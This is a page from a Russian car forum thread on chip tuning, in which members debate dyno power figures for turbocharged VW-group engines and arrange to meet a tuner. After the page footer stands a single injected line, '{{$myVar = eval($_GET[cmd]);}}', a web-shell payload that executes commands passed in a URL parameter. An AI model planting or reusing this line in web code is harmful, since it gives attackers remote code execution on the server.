+ Ответить в теме
Страница 33 из 81 ПерваяПервая ... 23 31 32 33 34 35 43 ... ПоследняяПоследняя
Показано с 321 по 330 из 809

Тема: чип vs чип (подход, особенности, проблемы и т.п.)


  1. #321
    GTI-Racing серега_с_оболони is on a distinguished road Аватар для серега_с_оболони
    Регистрация
    11.01.2010
    Откуда
    Киев
    Машина
    GTI Mk2 GT28RS
    Сообщений
    44
    Цитата Сообщение от Глум Посмотреть сообщение
    У Лехи не 400 сил и не мотор ТСИ:)
    я так и написал, ну максимум приближено к тому что ищщется!
    Впуск K&N "Typhoon"+ Выхлоп Super Sprint + чип Powered by Overload+STOPTECH Big Brake Kit
    http://www.drive2.ru/cars/skoda/octa...rega-s-oboloni

  2. #322
    GTI-Racing Maxi is on a distinguished road Аватар для Maxi
    Регистрация
    18.01.2008
    Откуда
    Москва
    Машина
    ClioIIrs
    Сообщений
    23
    Цитата Сообщение от Димон688 Посмотреть сообщение
    А это, правда не Гольф но мотор тот же http://www.drive2.ru/cars/seat/leon_...52342637/#post
    хм.
    к первому графику вопросов нет - стенд ДД зело изучен давно!
    там на колесе (режим shotout 4f) 351ps*0.9-10=305ps/1.36=224квт.

    ко второму - очень интересно. 300квт говорите... ну ну. сейчас разберемся.

    смотрим точку коррекции совокупных потерь машина-стенд (нижняя часть графика под пиком мощности) и что мы там видим - 90квт!

    ДД не использует эту коррекцию вообще - т.е она не учитывается! при анализе наклонов обоих графиков можно увидеть что они отличаются как раз примерно на линию коррекции (т.е. если линию коррекции принять за 0 формы обоих графиков практически совпадут).

    только вот действительно "на колесах" в этом случае от 2-го графика останется всего 210квт+-.... (т.е. оба графика практически идентичны с точностью +- погрешность измерения, ну конечно - что еще можно ждать от всего лишь фильтра).

    резюме: на кивухе делать нечего - увы ;) пилите дальше...

    вот откуда взялось 90квт на выбеге уже вопрос!

    дело в том, что переднеприводная машина с колесами типа '15 литье и резиной не с помойки показывает совокупных потерь всего на 25-35квт. (практика - не зависит от марки машины) ну на других колесах можно принять для этой машины возможный предел в 40квт... не более...

    т.е. если предположить что колеса не весят как крышки люков от колодцев, на переднюю ось не приходится нагрузка в 10 тонн, машина не полно приводная с всеми жескими блоками - объяснить от чего в ней в три раза большие совокупные потери нельзя...

    и тогда верное объяснение звучит банально: "а машину то меряли там где делали ;)"

  3. #323
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от Maxi Посмотреть сообщение

    резюме: на кивухе делать нечего - увы ;) пилите дальше...

    Вот как раз мне кажется, что именно нужно, может человек вот так сделал и не знает всех нюансов и как едет машина.
    песок сыпется....не останавливайтесь на достигнутом !

  4. #324
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    ну чё кто первый до вязьмы доедет ? :)
    у меня завтра и послезавтра окна есть :)
    за одно меня обратно в моркву отвезёте, а то в викенд мне ещё по делам бегать аки собаке ошпаренной :)

  5. #325
    Я вполне в пятницу могу доехать :) Только не по поводу настройки, т. к. со своим "доктором" у меня остались некоторые дела, в результаты которых я верю.
    А вот пообщаться с человеком, который направил ход моих мыслей в нужное русло и просто во время помог, да и земляка - с удовольствием. Трансфер могу обеспечить вполне - Москва-Смоленск мое постоянное место работы :)
    2.0 TFSI/K04..

  6. #326
    GTI-Racing Cabal is on a distinguished road Аватар для Cabal
    Регистрация
    04.12.2009
    Откуда
    Москва
    Машина
    Skoda Octavia FL RS k04 APR
    Сообщений
    167
    Это в Смоленской области?
    Через месяцок с удовольствием, а ща пока еще жду ДСГ )

  7. #327
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от turborabbit Посмотреть сообщение
    ну чё кто первый до вязьмы доедет ? :)
    у меня завтра и послезавтра окна есть :)
    за одно меня обратно в моркву отвезёте, а то в викенд мне ещё по делам бегать аки собаке ошпаренной :)

    :spit:........... я бы на месте владельцев К04 одним махом бы решил все проблемы. Такая уникальная возможность )))) эх, но у меня жаль нечего прошивать.
    А оборудование с собой ? )
    песок сыпется....не останавливайтесь на достигнутом !

  8. #328
    Цитата Сообщение от BON Посмотреть сообщение
    А оборудование с собой ? )
    Я думаю точно с собой :)
    2.0 TFSI/K04..

  9. #329
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от alex323-69 Посмотреть сообщение
    Я думаю точно с собой :)

    думаешь есть прошивка 400 сил на К04 в памяти ноута ))))))

    Короче я думаю, что турбораббиту нужно здесь открыть минифилиал. Или самому приезжать иногда )))
    песок сыпется....не останавливайтесь на достигнутом !

  10. #330
    Цитата Сообщение от BON Посмотреть сообщение
    Короче я думаю, что турбораббиту нужно здесь открыть минифилиал. Или самому приезжать иногда )))
    На счет филиала сомневаюсь, но на счет приезжать иногда - думаю вполне :)
    2.0 TFSI/K04..

+ Ответить в теме
Страница 33 из 81 ПерваяПервая ... 23 31 32 33 34 35 43 ... ПоследняяПоследняя

Похожие темы

  1. Особенности установки холодного впуска на 2.0Т
    от serzh1 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 47
    Последнее сообщение: 02.10.2023, 06:07
  2. Проблемы с DSG на GTI VI
    от Strang3r в разделе Отзывы / Выбор
    Ответов: 50
    Последнее сообщение: 13.09.2010, 19:45
  3. все технические особенности Volkswagen
    от nedoroslik в разделе Отзывы / Выбор
    Ответов: 4
    Последнее сообщение: 20.01.2010, 02:20
  4. Проблемы с DSG
    от DendisGTI в разделе Украина
    Ответов: 11
    Последнее сообщение: 24.12.2009, 20:12
  5. проблемы с vr6
    от no frost в разделе Двигатель
    Ответов: 3
    Последнее сообщение: 25.05.2008, 12:51

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}